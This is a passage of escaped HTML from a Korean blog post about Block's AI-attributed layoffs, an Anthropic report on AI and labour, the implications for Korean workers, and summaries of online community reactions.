&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;1. 진실은 양쪽에 있다&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;AI가 일부 업무를 자동화하는 것은 사실이지만, 현재 수준에서 직원 절반을 대체할 정도인지는 의문이다. AI 워싱이 있지만, AI 영향도 실재한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;2. 데이터가 부족하다&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Anthropic 보고서도 &quot;초기 증거(early evidence)&quot;라고 명시했다. AI의 노동 시장 영향을 판단하기엔 시간이 더 필요하다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;3. 산업별 차이가 크다&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;데이터 입력처럼 AI 대체가 현실적인 분야도 있고, 의료/건설처럼 AI 영향이 미미한 분야도 있다. 일괄적 판단은 위험하다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;4. 해고보다 채용 둔화가 핵심이다&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;CNN과 Anthropic 보고서 모두 대량 해고보다는 신규 채용 감소가 실질적 영향일 수 있다고 지적한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 7: 한국 노동시장 시사점 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 id=&quot;section7&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 한국 노동시장에의 시사점&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;한국은 다른가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;미국 이야기이니 한국은 괜찮겠지?&quot;라고 생각할 수 있다. 하지만 몇 가지 이유에서 한국도 안전하지 않다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;첫째, 한국 기업들도 AI를 적극 도입하고 있다.&lt;/b&gt; 삼성전자, SK, LG 등 대기업들은 이미 AI 인력 확충과 동시에 비AI 부문 인력 효율화를 진행 중이다. 2025~2026년 한국 대기업들의 채용 공고를 보면, &quot;AI 관련 직무&quot; 비율이 급격히 늘어난 반면 전통적 사무직 채용은 감소 추세이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;둘째, 글로벌 기업의 한국 법인도 영향을 받는다.&lt;/b&gt; Block처럼 글로벌 구조조정을 단행하면 한국 오피스도 예외가 아니다. 실제로 2025~2026년 다수의 외국계 기업 한국 법인에서 인력 축소가 진행되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;셋째, 한국의 노동 유연성은 미국보다 낮다.&lt;/b&gt; 이것이 양날의 검이다. 해고가 어려운 만큼 한번 위기가 오면 기업은 더 급격한 구조조정을 단행하거나, 아예 신규 채용을 극도로 줄이는 방식으로 대응하는 경향이 있다. Anthropic 보고서가 지적한 &quot;해고보다 채용 둔화&quot; 패턴이 한국에서 더 강하게 나타날 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;어떤 직종이 위험한가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic 보고서의 프레임워크를 한국 맥락에 적용하면:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;위험도&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;한국 맥락의 직종&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8d7da;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;높음&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;데이터 입력, 단순 사무, 콜센터&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;반복적 업무, AI 자동화 기술 성숙&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff3cd;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;중~높음&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;주니어 개발자, 번역/통역, 경리/회계 보조&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;AI가 빠르게 품질을 높이는 영역&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;중간&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;마케팅, 기획, 인사, 재무 분석&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;부분 자동화 가능, 판단력은 여전히 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;낮음&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;시니어 엔지니어, 디자이너, PM&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;복잡한 의사결정, 대인 소통 중심&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;매우 낮음&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;의료진, 요리사, 건설 노동자, 배관공&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;물리적 작업, 대면 서비스 중심&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;한국 맥락 주의사항:&lt;/b&gt; 위 표는 Anthropic 보고서의 글로벌 프레임워크를 한국 상황에 적용한 추정이다. 한국 노동시장의 AI 영향에 대한 공식적이고 체계적인 연구는 아직 부족한 상황이며, 실제 영향은 산업, 기업 규모, 직무 내용에 따라 크게 다를 수 있다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;기업들의 움직임&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한국 기업들은 미국 기업들처럼 대놓고 &quot;AI 때문에 해고&quot;라고 말하기 어렵다. 한국의 노동법과 기업 문화가 다르기 때문이다. 대신 다음과 같은 방식으로 인력 구조를 변화시키고 있다:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 신규 채용 축소:&lt;/b&gt; &quot;올해 채용 규모를 조정한다&quot;는 발표가 늘고 있다. 해고하지 않되, 새로 뽑지도 않는 전략이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. AI 직무 전환 교육:&lt;/b&gt; 기존 직원에게 AI 관련 교육을 제공하고, 전환 배치하는 프로그램을 운영하는 기업이 증가하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 계약직/외주 축소:&lt;/b&gt; 정규직은 유지하되, 계약직이나 외주 인력을 줄이고 AI 도구로 대체하는 방식이 확산되고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. 조직 슬림화:&lt;/b&gt; 퇴직 권고, 명예퇴직 등 간접적 방식의 인력 감축이 조용히 진행되고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;표면적으로는 미국만큼 극적이지 않지만, 실질적 변화는 이미 시작되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;역사적 교훈 -- 과거의 기술 혁명에서 배우기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한국은 이미 기술 혁명으로 인한 대규모 직업 구조 변화를 경험한 바 있다. 1990년대 후반 인터넷 혁명과 2000년대 스마트폰 혁명 당시에도 &quot;일자리가 사라진다&quot;는 공포가 있었다. 그 결과는 어땠을까?&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기술 혁명&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;사라진 직업&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;새로 생긴 직업&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;인터넷 (1990~2000s)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;타이피스트, 전화 교환원, 여행사 직원(축소)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;웹 개발자, 온라인 마케터, 전자상거래 운영자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;스마트폰 (2007~2010s)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;피처폰 제조사(대폭 축소), 내비게이션 전문 업체&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;앱 개발자, 모바일 UX 디자이너, 배달 플랫폼 노동자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;클라우드/SaaS (2010~2020s)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;서버 관리자(축소), 온프레미스 IT 인력(축소)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;클라우드 엔지니어, DevOps, SRE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff3cd;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;AI (2023~현재)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;진행 중 -- 아직 확정적 판단 이름&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;AI 엔지니어, 프롬프트 엔지니어, AI 윤리 전문가&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;과거 사례에서 알 수 있는 것은, &lt;b&gt;기술 혁명이 일자리를 &quot;없앤&quot; 것이 아니라 &quot;바꿨다&quot;&lt;/b&gt;는 점이다. 하지만 동시에, 전환 과정에서 적응하지 못한 개인과 기업에게는 매우 고통스러운 시기였다는 것도 사실이다. AI 혁명도 같은 패턴을 따를 가능성이 높지만, 그 전환 속도가 이전보다 빠를 수 있다는 점이 차이이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;한국 직장인이 지금 당장 확인해야 할 것들&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Block 사태를 단순히 &quot;미국 이야기&quot;로 치부하지 않으려면, 다음 질문들을 스스로 던져보라:&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 5px solid #0066cc; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;자기 진단 체크리스트&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1. 내 업무의 AI 대체 가능성은?&lt;/b&gt;&lt;br /&gt;내가 하루에 하는 업무를 리스트로 적어보라. 그 중 ChatGPT나 Claude에 맡길 수 있는 것은 몇 퍼센트인가? 50% 이상이라면, 지금부터 역할의 방향성을 재설정할 필요가 있다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. 우리 회사/산업의 AI 도입 수준은?&lt;/b&gt;&lt;br /&gt;경쟁사가 AI를 적극 도입하고 있는데 우리 회사는 아직이라면, 그것이 &quot;안전&quot;을 의미하는 것이 아니라 &quot;뒤처지고 있음&quot;을 의미할 수 있다. 회사가 AI를 도입하지 않아서 내 자리가 안전한 것이 아니라, 회사 자체가 위험해질 수 있다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. 나는 AI를 업무에 활용하고 있는가?&lt;/b&gt;&lt;br /&gt;2026년 현재, AI 도구를 전혀 쓰지 않는 화이트칼라 직장인은 점점 불리한 위치에 놓이게 된다. 적어도 기본적인 AI 도구 활용 능력은 이제 &quot;선택&quot;이 아닌 &quot;필수&quot;가 되어가고 있다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;4. 회사 밖에서 나의 가치는?&lt;/b&gt;&lt;br /&gt;Block에서 해고된 4,000명 중 상당수는 다시 일자리를 찾을 것이다. 하지만 쉽게 찾는 사람과 오래 걸리는 사람의 차이는 &quot;회사 밖에서도 인정받을 수 있는 역량과 네트워크&quot;에 달려 있다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 8: 커뮤니티 반응 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 id=&quot;community&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 커뮤니티 반응&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 20px;&quot;&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 20px 0 10px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Reddit 반응&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;r/technology, r/cscareerquestions, r/antiwork 등 주요 서브레딧에서 Block 해고에 대한 논의가 활발하게 이루어졌다. 주요 의견은 크게 세 갈래로 나뉘었다:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;AI 워싱이 분명하다&quot;&lt;/b&gt; -- 가장 많은 공감을 받은 의견이다. &quot;2019년에 3,800명이던 회사가 팬데믹 때 10,000명으로 불렸다가 다시 6,000명으로 줄이는 건 그냥 과잉 채용 정리이다. AI는 핑계&quot;라는 분석이 상위 댓글에 다수 포진했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;주가 반응이 모든 것을 말해준다&quot;&lt;/b&gt; -- 4,000명이 일자리를 잃는 날 주가가 24% 올랐다는 점에 대한 분노가 컸다. &quot;이게 자본주의의 본질&quot;이라는 냉소적 반응이 많았다. &quot;기업은 주주의 것이지 직원의 것이 아니라는 걸 다시 증명했다&quot;는 댓글이 수천 개의 공감을 받았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;Dorsey의 경고가 맞을 수 있다&quot;&lt;/b&gt; -- 소수이지만, Dorsey의 전략적 판단을 인정하는 의견도 있었다. &quot;3년 뒤에 돌아보면, 먼저 움직인 기업이 살아남았을 것이다. 잔인하지만 현실적&quot;이라는 시각이다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 20px 0 10px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;X(트위터) 반응&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;X에서는 두 가지 해시태그가 트렌딩에 올랐다: &lt;b&gt;#BlockLayoffs&lt;/b&gt;와 &lt;b&gt;#AIWashing&lt;/b&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;테크 업계 리더들의 반응은 양분되었다.&lt;/b&gt; 일부는 Dorsey의 결단력을 칭찬하며 &quot;AI 시대의 리더십&quot;이라고 평가했고, 다른 일부는 &quot;4,000명의 인생을 망가뜨리면서 X에 글을 올리는 것이 리더십인가&quot;라며 비판했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해고된 직원들의 목소리&lt;/b&gt;도 실시간으로 공유되었다. 10년 이상 근무한 시니어 엔지니어들이 &quot;AI가 대체했다는 자리에서 AI는 이메일 자동 응답도 제대로 못 한다&quot;며 현실과 명분의 괴리를 지적하는 게시물이 바이럴되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;투자자 커뮤니티(FinTwit)&lt;/b&gt;에서는 상반된 반응이 나왔다. &quot;Block의 마진이 극적으로 개선될 것&quot;이라는 낙관론과, &quot;인재를 절반이나 잃은 회사가 경쟁력을 유지할 수 있겠느냐&quot;는 우려론이 팽팽하게 맞섰다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 20px 0 10px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Hacker News 반응&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hacker News에서는 기술적 관점의 분석이 주를 이루었다:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;AI는 보조 도구이지 대체재가 아니다&quot;&lt;/b&gt; -- 현직 엔지니어들 사이에서 가장 강한 공감대가 형성된 의견이다. &quot;Copilot이 코드를 빨리 쓰게 해주는 건 맞지만, 아키텍처를 설계하고, 비즈니스 요구사항을 이해하고, 장애 상황에서 판단을 내리는 건 여전히 사람의 몫이다&quot;라는 구체적 근거가 제시되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;Block의 엔지니어링 품질은 이미 떨어지고 있었다&quot;&lt;/b&gt; -- 일부 전/현직 Block 엔지니어로 추정되는 계정에서, &quot;해고 전부터 조직이 비대하고 비효율적이었다&quot;며 내부 시각을 공유하기도 했다. &quot;진짜 문제는 AI가 아니라 경영 실패&quot;라는 진단이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;Anthropic 보고서가 더 무섭다&quot;&lt;/b&gt; -- Block 해고 자체보다 같은 주에 나온 Anthropic 보고서에 주목하는 반응도 많았다. &quot;프로그래머 업무의 75%를 AI가 커버한다는 게 무슨 뜻인지 생각해보라. 지금 당장은 아니어도, 방향은 분명하다&quot;는 장기적 관점의 분석이 상위에 올랐다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 20px 0 10px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;한국 커뮤니티 반응&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한국 개발자 커뮤니티에서도 Block 사태에 대한 논의가 활발했다. 주요 커뮤니티별 반응을 정리하면:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;블라인드(직장인 익명 커뮤니티)&lt;/b&gt; -- &quot;남의 나라 일이 아니다&quot;는 공감대가 형성되었다. 특히 외국계 기업 한국 법인에 근무하는 직장인들이 &quot;글로벌 구조조정이 시작되면 한국 오피스가 먼저 잘린다&quot;는 경험담을 공유했다. &quot;AI가 진짜 이유인가?&quot;보다는 &quot;다음은 우리 회사인가?&quot;에 관심이 집중되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;디시인사이드/커리어 관련 갤러리&lt;/b&gt; -- &quot;개발자 직업 안정성&quot;에 대한 논쟁이 재점화되었다. &quot;프로그래머 커버리지 75%&quot;라는 수치가 맥락 없이 퍼지면서, &quot;코딩 배워봤자 AI에 대체당한다&quot;는 극단적 반응과 &quot;75%가 대체 아니라 보조&quot;라는 정정 댓글이 충돌했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;개발자 커뮤니티(okky, velog 등)&lt;/b&gt; -- 상대적으로 냉정한 반응이 많았다. &quot;AI가 보일러플레이트는 대신 써주지만, 시스템 설계와 장애 대응은 못 한다&quot;, &quot;Copilot이 생산성을 높여주는 건 맞는데, 그래서 개발자가 필요 없어지는 게 아니라 더 적은 개발자가 더 많은 일을 하게 되는 것&quot;이라는 현실적 분석이 주를 이루었다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 20px 0 10px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커뮤니티 반응에서 드러나는 세대별 온도 차이&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;플랫폼을 가리지 않고 나타나는 흥미로운 패턴이 있었다. 세대별로 이 사건을 받아들이는 온도가 달랐다는 것이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;세대/경력&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;주된 반응&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;대표 의견&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;시니어 (10년+)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;상대적으로 담담함&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&quot;이미 여러 차례 기술 전환을 겪었다. AI도 결국 도구이다. 적응하면 된다.&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;미드레벨 (3~7년)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;경계와 적응 병행&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&quot;위기감은 느끼지만, AI를 잘 활용하면 오히려 기회. 지금이 전환점이다.&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;주니어/취준생&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;불안과 혼란&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&quot;프로그래머 75% 커버리지라는데, 지금 코딩 공부하는 게 맞는 건가?&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;비개발 직군&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;복합적&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&quot;개발자도 위험하면 우리는 더 위험한 건가?&quot; vs &quot;우리 업무는 대면이라 괜찮다&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히 주니어/취준생 세대의 불안이 눈에 띄었다. Anthropic 보고서가 &quot;22~25세 연령대에서 AI 노출 직종의 신규 채용이 감소하는 추세&quot;를 언급한 것이 이 불안을 더 키웠다. 커리어를 아직 시작하지 않았거나 막 시작한 세대에게, &quot;AI가 당신의 직업을 빼앗는다&quot;는 헤드라인은 실존적 위협으로 다가올 수밖에 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 여기서 강조하고 싶은 것이 있다. &lt;b&gt;Anthropic 보고서의 &quot;채용 감소&quot;는 &quot;잠정적(tentative) 추세&quot;로 보고된 것&lt;/b&gt;이지, 확정된 사실이 아니다. 그리고 AI 시대에 개발 역량이 불필요해지는 것이 아니라, &lt;b&gt;AI를 활용한 개발 역량&lt;/b&gt;이 더 중요해지는 것이다. 프로그래밍을 배우는 것 자체가 의미 없어지는 것이 아니라, 프로그래밍을 &quot;어떻게&quot; 배우느냐의 방식이 달라지는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 20px 0 10px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;공통적으로 나타난 감정: 분노보다 불확실성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 커뮤니티를 관통하는 공통 감정은 &quot;분노&quot;보다 &lt;b&gt;&quot;불확실성&quot;&lt;/b&gt;이었다. &quot;AI가 내 일자리를 빼앗는가&quot;에 대한 명확한 답이 없기 때문이다. 전문가들도 의견이 갈리고, 데이터도 아직 부족하며, 기업들의 말과 행동이 일치하지 않는다. 이런 환경에서 직장인이 느끼는 것은 구체적 공포보다는 막연한 불안이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 불확실성이야말로 이 글을 쓴 이유이다. 헤드라인에 휘둘리지 말고, &lt;b&gt;데이터와 맥락을 함께 보는 능력&lt;/b&gt;을 키우는 것이 이 불확실한 시대를 건강하게 살아가는 방법이다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;위 커뮤니티 반응은 공개된 게시물을 기반으로 요약한 것으로, 개인 의견이며 해당 플랫폼의 전체 여론을 대표하지 않는다.&lt;/div&gt;
